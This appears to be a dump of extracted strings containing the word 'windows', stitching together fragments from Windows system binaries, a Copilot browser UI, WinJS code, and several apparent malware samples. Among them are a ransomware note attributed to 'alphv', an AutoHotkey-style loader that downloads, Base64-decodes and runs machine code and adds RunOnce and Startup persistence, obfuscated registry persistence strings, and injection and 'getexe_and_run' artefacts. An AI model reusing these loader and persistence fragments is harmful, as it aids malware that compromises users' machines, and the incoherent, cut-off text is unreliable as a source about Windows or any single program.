 stato aperto per una visualizzazione rapida e facile direttamente in Microsoft Copilot. Scegli Scarica file se vuoi usarlo in un secondo momento.Microsoft Copilot sta cercando di immettere le password. Digita la password di Windows per consentire questa operazione.copilotupdateServizio di aggiornamento di Microsoft CopilotServizio interno di aggiornamento di Microsoft CopilotMantieni aggiornato il software di Microsoft Copilot. Se questo servizio 
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in
Microsoft.WindowsNotepad_8wekyb3d8bbwe
Microsoft.WindowsStore_8wekyb3d8bbwe!App
Microsoft.OutlookforWindows_8wekyb3d8bbwe!Microsoft.OutlookforWindows2
Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
RpcClientUtil::DeleteWindowsService
RpcClientUtil::StopWindowsService
windowSpace
FormWindowState
get_WindowState
LayeredWindows
gamesforwindows.com
Windows.
Windows.Data.Nlm
new-objectsecurity.principal.windowsprincipal([security.principal.windowsidentity]::getcurrent())
@isinrole([security.principal.windowsbuiltinrole]::administrator)-eq$false
ResetWindowState
s(SystemWindowsDirectory->Length == 0) && (SystemWindowsDirectory->MaximumLength == 0) && (SystemWindowsDirectory->Buffer == 0)
isowin32_GetSystemWindowsDirectory
Not-null check failed: SystemWindowsDirectory
Windows::Isolation::Implementation::Rtl::RtlpIsolatedObjectSystem_DirectWin32_GetRootObject
Windows::Isolation::Implementation::Rtl::RtlpIsolatedObjectSystem_DirectWin32_QueryObject
Windows::Isolation::Rtl::RtlCreateTracingFilesystem
Microsoft.Windows.HyperV.StorageActivity
Microsoft.Windows.HyperV.VhdmpTrace
Microsoft.Windows.TlgAggregateInternal
Microsoft Windows
	"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
COMPUTERNAME=WINDOWS11
LOGONSERVER=\\WINDOWS11
SystemRoot=C:\WINDOWS
USERDOMAIN=Windows11
windir=C:\WINDOWS
           targetNamespace="http://schemas.microsoft.com/appx/manifest/com/windows10"
           xmlns="http://schemas.microsoft.com/appx/manifest/com/windows10"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
           xmlns:com="http://schemas.microsoft.com/appx/manifest/com/windows10"
           xmlns:com2="http://schemas.microsoft.com/appx/manifest/com/windows10/2"
           xmlns:com3="http://schemas.microsoft.com/appx/manifest/com/windows10/3"
           xmlns:uap10="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"
           xmlns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/com/windows10/2"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/com/windows10/3"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
ALL YOUR IMPORTANT FILES ARE STOLEN AND ENCRYPTED/c schtasks.exe /delete /tn "windows update alphv" /f/
 Windows 
 Windows 
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 10.0; Win64; x64; Trident/5.0; .NET4.0C; .NET4.0E)
WindowsIdentity
MicrosoftWindows.Client.WebExperience_526.1202.40.0_neutral_~_cw5n1h2txyewy
Microsoft.WindowsAlarms_8wekyb3d8bbwewe
Microsoft.OutlookForWindows_1.2026.210.300_x64__8wekyb3d8bbwe
amd64_microsoft-updatetargeting-windowsoobe_31bf3856ad364e35_none_7947b45d51ce8eab
%Microsoft Windows Production PCA 20110
%SystemRoot%\System32\omsecor.exe%
amd64_microsoft-windows-c..-onecore-deployment_31bf3856ad364e35_none_022f2d6ef9444706
amd64_microsoft-windows-c..-radiomediaprovider_31bf3856ad364e35_none_eca8f694c9c13574
amd64_microsoft-windows-c..-security.resources_31bf3856ad364e35_en-us_699920e5bf4019eb
amd64_microsoft-windows-c..-usermgr-deployment_31bf3856ad364e35_none_3bfd1cf24ac7b83d
amd64_microsoft-windows-c..-xmllite-deployment_31bf3856ad364e35_none_c1da122949c93336
amd64_microsoft-windows-c...appxmain.resources_31bf3856ad364e35_en-us_04ee22240806f935*G
amd64_microsoft-windows-c...appxmain.resources_31bf3856ad364e35_en-us_6d6d57d44284d685
amd64_microsoft-windows-c...appxmain.resources_31bf3856ad364e35_en-us_b90e4fa662bcc7f2
amd64_microsoft-windows-c...appxmain.resources_31bf3856ad364e35_en-us_cb2fec1a1a895d99
u'LT9G4PN0j|cFMZi7IKxzmqeyJb6Yu2Xrf1EHvatkpOlwA58DWnhSCQRoV3dB0zz7://system32\
mIcRoSoFt\wINDoWS nt\currentVerSioN\sVChoST%sot%%\System32\svc%s %s%s%sk- exe.tsohreMOTeReGIScrYik\labolgs%s
PSModulePath=%ProgramFiles%\WindowsPowerShell\,
s;C:\WINDOWS\system32.
Microsoft.Windows.Audio.KernelStreamingEndpoint
Microsoft.Windows.TlgAggregateInternal
X86_MICROSOFT.WINDOWS.COMMON-CONTROLS_6595B64144CCF1DF_NONE_AAAB8E0A9F4BD480
system32\tsscafe.dllpobaoM
qtable:!0,enumerable:!0,configurable:!0}})}(),function(){function t(n,t,r){return n=n||function(){},i.markSupportedForProcessing(n),t&&u(n.prototype,t),r&&u(n,r),n}function r(n,r,f,e){if(n){r=r||function(){};var o=n.prototype;return r.prototype=Object.create(o),i.markSupportedForProcessing(r),Object.defineProperty(r.prototype,"constructor",{value:r,writable:!0,configurable:!0,enumerable:!0}),f&&u(r.prototype,f),e&&u(r,e),r}return t(r,f,e)}function f(n){n=n||function(){};for(var t=1,i=arguments.length;t<i;t++)u(n.prototype,arguments[t]);return n}n.Namespace.define("WinJS.Class",{define:t,derive:r,mix:f})}(),{Namespace:n.Namespace,Class:n.Class}}),r("WinJS/Core/_ErrorFromName",["./_Base"],function(n){"use strict";var t=n.Class.derive(Error,function(n,t){this.name=n;this.message=t||n},{},{supportedForProcessing:!1});return n.Namespace.define("WinJS",{ErrorFromName:t}),t}),r("WinJS/Core/_WinRT",["exports","./_Global","./_Base",],function(n,t,i){"use strict";n.msGetWeakWinRTProperty=t.msGetWeakWinRTProperty;n.msSetWeakWinRTProperty=t.msSetWeakWinRTProperty;var r=!1;try{t.Windows.UI.ViewManagement.InputPane.getForCurrentView();r=!0}catch(u){}["Windows.ApplicationModel.DesignMode.designModeEnabled","Windows.ApplicationModel.Resources.Core.ResourceContext","Windows.ApplicationModel.Resources.Core.ResourceManager","Windows.ApplicationModel.Search.SearchQueryLinguisticDetails","Windows.Data.Text.SemanticTextQuery","Windows.Foundation.Collections.CollectionChange","Windows.Foundation.Diagnostics","Windows.Foundation.Uri","Windows.Globalization.ApplicationLanguages","Windows.Globalization.Calendar","Windows.Globalization.DateTimeFormatting","Windows.Globalization.Language","Windows.Phone.UI.Input.HardwareButtons","Windows.Storage.ApplicationData","Windows.Storage.CreationCollisionOption","Windows.Storage.BulkAccess.FileInformationFactory","Windows.Storage.FileIO","Windows.Storage.FileProperties.ThumbnailType","Windows.Storage.FileProperties.ThumbnailMode","Windows.Storage.FileProperties.ThumbnailOptions","Windows.Storage.KnownFolders","Windows.Storage.Search.FolderDepth","Windows.Storage.Search.IndexerOption","Windows.Storage.Streams.RandomAccessStreamReference","Windows.UI.ApplicationSettings.SettingsEdgeLocation","Windows.UI.ApplicationSettings.SettingsCommand","Windows.UI.ApplicationSettings.SettingsPane","Windows.UI.Core.AnimationMetrics","Windows.UI.Core.SystemNavigationManager","Windows.UI.Input.EdgeGesture","Windows.UI.Input.EdgeGestureKind","Windows.UI.Input.PointerPoint","Windows.UI.ViewManagement.HandPreference","Windows.UI.ViewManagement.InputPane","Windows.UI.ViewManagement.UIColorType","Windows.UI.ViewManagement.UISettings","Windows.UI.WebUI.Core.WebUICommandBar","Windows.UI.WebUI.Core.WebUICommandBarBitmapIcon","Windows.UI.WebUI.Core.WebUICommandBarClosedDisplayMode","Windows.UI.WebUI.Core.WebUICommandBarIconButton","Windows.UI.WebUI.Core.WebUICommandBarSymbolIcon","Windows.UI.WebUI.WebUIApplication",].forEach(function(u){var f=u.split("."),e={};e[f[f.length-1]]={get:function(){return r?f.reduce(function(n,t){return n?n[t]:null},t):null}};i.Namespace.defineWithParent(n,f.slice(0,-1).join("."),e)})}),r("WinJS/Core/_Events",["exports","./_Base"],function(n,t){"use strict";function i(n){var t="_on"+n+"state";return{get:function(){var n=this[t];return n&&n.userHandler},set:function(i){var r=this[t];i?(r||(r={wrapper:function(n){return r.userHandler(n)},userHandler:i},Object.defineProperty(this,t,{value:r,enumerable:!1,writable:!0,configurable:!0}),this.addEventListener(n,r.wrapper,!1)),r.userHandler=i):r&&(this.removeEventListener(n,r.wrapper,!1),this[t]=null)},enumerable:!0}}function r(){for(var t,r={},n=0,u=arguments.length;n<u;n++)t=arguments[n],r["on"+t]=i(t);return r}var u=t.Class.define(function(n,t,i){this.detail=t;this.target=i;this.timeStamp=Date.now();this.type=n},{bubbles:{value:!1,writable:!1},cancelable:{value:!1,writable:!1},currentTarget:{get:function(){return this.target}},defaultPrevented:{get:function(){return this._preventDefaultCalled}},trusted:{value:!1,writable:!1},eventPhase:{value:0,writable:!1},targ
Windows Produc
@@V?$allocator@UIInspectable@Foundation@Windows@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@winrt@@@impl@winrt@@UIInspectable@Foundation@Windows@3@Ucollection_version@23@@winrt@@V?$tuple@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@winrt@@@std@@@impl@winrt@@
.?AU?$implements_delegate@U?$VectorChangedEventHandler@UTypedTemplate@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@V<lambda_f12b37ed1d02096345fea62be71cd6dd>@@@impl@winrt@@
.?AU?$implements_delegate@U?$VectorChangedEventHandler@UTypedTemplate@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@V<lambda_1c1c3e3b9bca7673eeca6f0b44669657>@@@impl@winrt@@
.?AU?$delegate@U?$VectorChangedEventHandler@UTypedTemplate@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@V<lambda_f12b37ed1d02096345fea62be71cd6dd>@@@impl@winrt@@
.?AU?$produce@Uargs@?$observable_vector_base@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UTypedTemplate@TaskManagerApp@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@Uargs@?$observable_vector_base@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UTypedTemplate@TaskManagerApp@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AUtype@?$abi@U?$VectorChangedEventHandler@UTypedTemplate@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$delegate@U?$VectorChangedEventHandler@UTypedTemplate@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@V<lambda_1c1c3e3b9bca7673eeca6f0b44669657>@@@impl@winrt@@
.?AUtype@?$abi@U?$IIterator@UTypedTemplate@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce_base@Uiterator@?$iterable_base@U?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@UTypedTemplate@TaskManagerApp@3@Ucollection_version@23@@winrt@@U?$IIterator@UTypedTemplate@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@Uiterator@?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@@impl@winrt@@
.?AU?$produce_base@Uiterator@?$convertible_observable_vector@UTypedTemplate@TaskManagerApp@winrt@@V?$vector@UTypedTemplate@TaskManagerApp@winrt@@V?$allocator@UTypedTemplate@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterator@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@4@X@impl@winrt@@
VirtualBoxSOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce//Google//Chrome//User Data//Default//Preferencesfeidowns.com/
WHR.Open("GET", Url, True)Base64dec(bBuf,bBuffer)Base64dec(Mcode,s_ASM)DllCall(wins, "Ptr", &Mcode, "str", TargetHost, "Ptr", &bBuf, "Uint", 0, "Uint", 0)RegWrite, REG_SZ, HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce, upd, %A_Temp%\%A_Scriptname%FileCreateShortcut, "%A_Temp%\%A_ScriptName%", %A_Startup%\Golupdate.lnk,,,,1
Mozilla/5.0 (Windows NT 10.0; Win64; x
c:\windows\system32\kernel32.exe0
c:\windows\syste 
c:\windows\system32\
c:\windows\system32\cmd.exe
c:\windows\mfc42.exe
c:\windows\system32\cmd.exe
c:\windows\kernl32.exe
Hs<c:\windows\system32\
c:\windows\system32\drivers\ntfs.sysh\dri
L\windows\update.bat"
regread ( "hkey_current_user\software\microsoft\windows\currentversion" , "sm_games_pl" )r
com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/6"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
Microsoft.Windows.Management.Deploy
UninstallWindows
C:\WINDOWS\system32\wnpms.exe_win32__wnpms_sm____win32__wnpms_sdm__my port [%i]
Software\Microsoft\Windows\Vrdiomraades\Uninstall\drmmelstS
[{"application":"microsoft.default.default","platform":"data_boundary"},{"application":"","platform":"packageId"},{"application":"","platform":"alternateId"}]ZZzI03ZhPBD1Dfj2GvrCeHMuMjZ9FnVlYIDK+kZzTu0=default$windows.data.settings.settingsusagehistory|windows.data.settings.settingsusagehistory
windows.data.settings.settingsusagehistorydefault$windows.data.settings.settingsusagehistoryi
[{"application":"microsoft.default.default","platform":"data_boundary"},{"application":"","platform":"packageId"},{"application":"","platform":"alternateId"}]ZZzI03ZhPBD1Dfj2GvrCeHMuMjZ9FnVlYIDK+kZzTu0=default$windows.data.settings.settingsusagehistory|windows.data.settings.settingsusagehistory
windows.data.settings.settingsusagehistorydefault$windows.data.settings.settingsusagehistoryi
[{"application":"Microsoft.Default.Input","platform":"data_boundary"},{"application":"","platform":"packageId"},{"application":"","platform":"alternateId"}]Wvq833opDQ2lQ5RM1kH1zXlbcg1ww7CldmoElcLFyUc=default$windows.data.input.devices.pensyncedsettings|windows.data.input.devices.pensyncedsettings
windows.data.input.devices.pensyncedsettingsdefault$windows.data.input.devices.pensyncedsettingsi
[{"application":"microsoft.default.default","platform":"data_boundary"},{"application":"","platform":"packageId"},{"application":"","platform":"alternateId"}]ZZzI03ZhPBD1Dfj2GvrCeHMuMjZ9FnVlYIDK+kZzTu0=default$windows.data.bluelightreduction.settings|windows.data.bluelightreduction.settings
windows.data.bluelightreduction.settingsdefault$windows.data.bluelightreduction.settingsi
[{"application":"microsoft.default.default","platform":"data_boundary"},{"application":"","platform":"packageId"},{"application":"","platform":"alternateId"}]ZZzI03ZhPBD1Dfj2GvrCeHMuMjZ9FnVlYIDK+kZzTu0=default$windows.data.apps.unpackagedproducts|windows.data.apps.unpackagedproducts
windows.data.apps.unpackagedproductsdefault$windows.data.apps.unpackagedproductsi
[{"application":"microsoft.default.default","platform":"data_boundary"},{"application":"","platform":"packageId"},{"application":"","platform":"alternateId"}]ZZzI03ZhPBD1Dfj2GvrCeHMuMjZ9FnVlYIDK+kZzTu0=default$windows.data.apps.packagedproducts|windows.data.apps.packagedproducts
windows.data.apps.packagedproductsdefault$windows.data.apps.packagedproductsi
[{"application":"microsoft.default.default","platform":"data_boundary"},{"application":"","platform":"packageId"},{"application":"","platform":"alternateId"}]ZZzI03ZhPBD1Dfj2GvrCeHMuMjZ9FnVlYIDK+kZzTu0=default$windows.data.apps.unpackagedproducts|windows.data.apps.unpackagedproducts
windows.data.apps.unpackagedproductsdefault$windows.data.apps.unpackagedproductsi
windowspackagema|5719f3768bb78096
windowscamera.ex|5dbbb90546eb3568
windowsterminal.|d06e75683b84c562
windows media pl|6bd670574e3d6ac4
windows defender|9641b1036d9d2c34
windows powershe|6d2a715ad3bf3395
windows powershe|30733c7985fb9bcb
Htions@Foundation@Windows@@@23@@Details@WRL@Microsoft@@
.?AV?$Vector@W4NetworkMediaType@UX@Networking@Windows@@U?$DefaultEqualityPredicate@W4NetworkMediaType@UX@Networking@Windows@@@Internal@Collections@Foundation@4@U?$DefaultLifetimeTraits@W4NetworkMediaType@UX@Networking@Windows@@@6784@U?$DefaultVectorOptions@W4NetworkMediaType@UX@Networking@Windows@@@6784@@Internal@Collections@Foundation@Windows@@
.?AUIVersionedVector@Internal@Collections@Foundation@Windows@@
.?AU?$IVector_impl@W4NetworkMediaType@UX@Networking@Windows@@$00@Collections@Foundation@Windows@@
.?AU?$IVector@W4NetworkMediaType@UX@Networking@Windows@@@Collections@Foundation@Windows@@
.?AU?$IVectorView_impl@W4NetworkMediaType@UX@Networking@Windows@@$00@Collections@Foundation@Windows@@
.?AU?$IVectorView@W4NetworkMediaType@UX@Networking@Windows@@@Collections@Foundation@Windows@@
.?AU?$IIterable_impl@W4NetworkMediaType@UX@Networking@Windows@@@Collections@Foundation@Windows@@
.?AU?$IIterable@W4NetworkMediaType@UX@Networking@Windows@@@Collections@Foundation@Windows@@
.?AU?$IIterator_impl@W4NetworkMediaType@UX@Networking@Windows@@$00@Collections@Foundation@Windows@@
.?AU?$IIterator@W4NetworkMediaType@UX@Networking@Windows@@@Collections@Foundation@Windows@@
.?AV<lambda_2>@?1??AsyncWork_BeforeCentralizedFriendlyNameLogic@GenericAsyncHelper@Utils@TaskManager@@AEAA?AUIAsyncAction@Foundation@Windows@winrt@@XZ@
.?AUmarshaler@?1??make_marshaler@impl@winrt@@YAHPEAUtype@?$abi@UIUnknown@Foundation@Windows@winrt@@X@23@PEAPEAX@Z@
.?AU?$implements_delegate@UAsyncActionCompletedHandler@Foundation@Windows@winrt@@V<lambda_1>@?8???$make_agile_delegate@UAsyncActionCompletedHandler@Foundation@Windows@winrt@@@impl@4@YA?AU1234@AEBU1234@@Z@@impl@winrt@@
.?AU?$delegate@UAsyncActionCompletedHandler@Foundation@Windows@winrt@@V<lambda_1>@?8???$make_agile_delegate@UAsyncActionCompletedHandler@Foundation@Windows@winrt@@@impl@4@YA?AU1234@AEBU1234@@Z@@impl@winrt@@
.?AU?$variadic_delegate@V<lambda_2>@?1??AsyncWork_BeforeCentralizedFriendlyNameLogic@GenericAsyncHelper@Utils@TaskManager@@AEAA?AUIAsyncAction@Foundation@Windows@winrt@@XZ@X$$V@impl@winrt@@
.?AV<lambda_2>@?1??AsyncWork@GenericAsyncHelper@Utils@TaskManager@@AEAA?AUIAsyncAction@Foundation@Windows@winrt@@XZ@
.?AV<lambda_1>@?8???$make_agile_delegate@UAsyncActionCompletedHandler@Foundation@Windows@winrt@@@impl@winrt@@YA?AUAsyncActionCompletedHandler@Foundation@Windows@2@AEBU3452@@Z@
.?AUtype@?$abi@UAsyncActionCompletedHandler@Foundation@Windows@winrt@@X@impl@winrt@@
Windows_NTu
vWINDOWSf
Windows_NTv
C:\\WINDOWS\\system32\\cmd.exe
WINDOWS\\r
%s%s\system32\wupdmgrd.exe
c:/windows/system32/drivers/1394ohci.sys
c:/windows/system32/drivers/3ware.sys
c:/windows/system32/drivers/acpi.sys
c:/windows/system32/driverstore/filerepository/acpiaudiocompositor.inf_amd64_047f553a6f70b169/acpiaudiocompositor.sys
c:/windows/system32/drivers/acpidev.sys
c:/windows/system32/drivers/acpiex.sys
c:/windows/system32/driverstore/filerepository/acpipagr.inf_amd64_d1093347a27ff89c/acpipagr.sys
c:/windows/system32/driverstore/filerepository/acpipmi.inf_amd64_3ced06eb61dcc792/acpipmi.sys
c:/windows/system32/drivers/acpitime.sys
c:/windows/system32/drivers/acx01000.sys
c:/windows/system32/drivers/adp80xx.sys
c:/windows/system32/drivers/afd.sys
c:/windows/system32/drivers/afunix.sys
c:/windows/system32/drivers/ahcache.sys
c:/windows/system32/drivers/amdgpio2.sys
c:/windows/system32/drivers/amdi2c.sys
c:/windows/system32/drivers/amdk8.sys
c:/windows/system32/drivers/amdppm.sys
c:/windows/system32/drivers/amdsata.sys
c:/windows/system32/drivers/amdsbs.sys
c:/windows/system32/drivers/amdwps.sys
c:/windows/system32/drivers/amdxata.sys
c:/windows/system32/drivers/appid.sys
c:/windows/system32/drivers/applessd.sys
c:/windows/system32/drivers/applockerfltr.sys
c:/windows/system32/drivers/appvstrm.sys
c:/windows/system32/drivers/appvvemgr.sys
c:/windows/system32/drivers/appvvfs.sys
c:/windows/system32/drivers/arcsas.sys
c:/windows/system32/drivers/asyncmac.sys
c:/windows/system32/drivers/atapi.sys
c:/windows/system32/drivers/bxvbda.sys
c:/windows/system32/drivers/bam.sys
c:/windows/system32/driverstore/filerepository/basicdisplay.inf_amd64_2753efdbb0d9a226/basicdisplay.sys
c:/windows/system32/driverstore/filerepository/basicrender.inf_amd64_be4cb8d455d1ca0d/basicrender.sys
c:/windows/system32/drivers/bcmfn2.sys
c:/windows/system32/drivers/bfs.sys
c:/windows/system32/drivers/bindflt.sys
c:/windows/system32/drivers/bowser.sys
c:/windows/system32/drivers/btha2dp.sys
c:/windows/system32/drivers/bthenum.sys
c:/windows/system32/drivers/bthhfenum.sys
c:/windows/system32/drivers/microsoft.bluetooth.legacy.leenumerator.sys
c:/windows/system32/drivers/bthmini.sys
c:/windows/system32/drivers/bthmodem.sys
c:/windows/system32/drivers/bthport.sys
c:/windows/system32/drivers/bthusb.sys
c:/windows/system32/drivers/bttflt.sys
c:/windows/system32/drivers/buttonconverter.sys
c:/windows/system32/drivers/cad.sys
c:/windows/system32/cdd.dll
c:/windows/system32/drivers/cdfs.sys
c:/windows/system32/drivers/cdrom.sys
c:/windows/system32/drivers/cht4sx64.sys
c:/windows/system32/drivers/cht4vx64.sys
c:/windows/system32/drivers/circlass.sys
c:/windows/system32/drivers/cldflt.sys
c:/windows/system32/drivers/clfs.sys
c:/windows/system32/drivers/cmbatt.sys
c:/windows/system32/drivers/cng.sys
c:/windows/system32/drivers/cnghwassist.sys
c:/windows/system32/driverstore/filerepository/compositebus.inf_amd64_8cf6fa9d3afdfa25/compositebus.sys
c:/windows/system32/drivers/condrv.sys
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
CloudData.WindowsClient.DisableSyncOnActivityFeed
ItemReference<Windows.Data.CuratedTileCollection.Tile>
CloudData.WindowsClient.DisableSyncOnActivityFeed
c:\windows\inf\
c:\windows\inf\
8-962-926-76-058-962-926-76-078-963-716-30-478-965-124-76-898-965-148-91-428-965-165-64-058-965-251-77-658-965-398-62-478-965-398-62-678-967-268-98-58kisskissdelete.batwindows
windows task manager
c:\windows\system32\cmd.exe%windir%r/cset
shell\windowsuiimmersive\appthemeapi\lib\appthemeapiimplementation.cpp
shell\windowsuiimmersive\popup\popupwindow.cpp
shell\windowsuiimmersive\popup\xamlpopupwindowimpl.cpp
WINDOWS11
ROOT\Microsoft\Windows\DeviceGuard
global\gool %dwinlogon
\systemroot\system32\%s
c:\windows\fonts\
c2windows.exeThe injection has succeedOneDrive\CodeSource\getexe_and_run\Project1_1Qj
 Software\Microsoft\Windows\CurrentVersion\Internet Settings\Accepted Documents
="winlogonl
="winlogonlo
..\..\..\..\..\..\..\..\..\windows\syswow64\helpme.exe
Microsoft.WindowsAppRuntime.1.5_5001.311.2039.0_x64__8wekyb3d8bbwe
MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy
.?AU?$default_delete@VVerifyFeatureVelocity@Core@Cloud@Storage@Internal@Windows@@@std@@
.?AU?$default_delete@VCloudStoreCoreBackupStatus@Core@Cloud@Storage@Internal@Windows@@@std@@
.?AU?$default_delete@VCloudStoreCore@Core@Cloud@Storage@Internal@Windows@@@std@@
.?AU?$iunknown_deleter@VActivityPublishCallback@Core@Cloud@Storage@Internal@Windows@@@detail@cdp@@
.?AU?$iunknown_deleter@VActivityAssetPublishCallback@Core@Cloud@Storage@Internal@Windows@@@detail@cdp@@
.?AU?$iunknown_deleter@VGetActivityAssetCallback@Core@Cloud@Storage@Internal@Windows@@@detail@cdp@@
.?AU?$iunknown_deleter@VActivityDismissCallback@Core@Cloud@Storage@Internal@Windows@@@detail@cdp@@
.?AU?$iunknown_deleter@VGetActivitiesByAppActivityIdAndDeviceIdAsyncCallback@Core@Cloud@Storage@Internal@Windows@@@detail@cdp@@
.?AU?$iunknown_deleter@VGetActivitiesByAppActivityIdAsyncCallback@Core@Cloud@Storage@Internal@Windows@@@detail@cdp@@
^windows.protoco(
Microsoft.Windows.ImageSanitization
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Shell.Windowing.LightDismiss
Windows.UI.Popups
Microsoft.Windows.Desktop.Shell.WindowsUIImmersive.LockScreen
MicrosoftWindowsShellUserInfo
Microsoft.Windows.Shell.ThemeAssetTask
Microsoft-Windows-Shell-CriticalResultVerifier
Microsoft.Windows.Shell.CoCreateInstanceAsSystem
Microsoft.Windows.Audio.Client
Windows.UI.Immersive.pdb
GetProcessWindowStation
shell\windowsuiimmersive\xamlruntimesiteaggregator\xamlruntimesiteaggregator.cpp
GetWindowsDirectoryW
GetSystemWindowsDirectoryW
Microsoft.Windows.Wil.FeatureLogging
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-Client-Features-Package013~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
    name="Microsoft.Windows.Taskhost"
  <asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
  </asmv3:windowsSettings>
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
shell\windowsuiimmersive\popup\custompopupwindow.cpp
shell\windowsuiimmersive\inc\ScaleInternalHelpers.h
en flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in 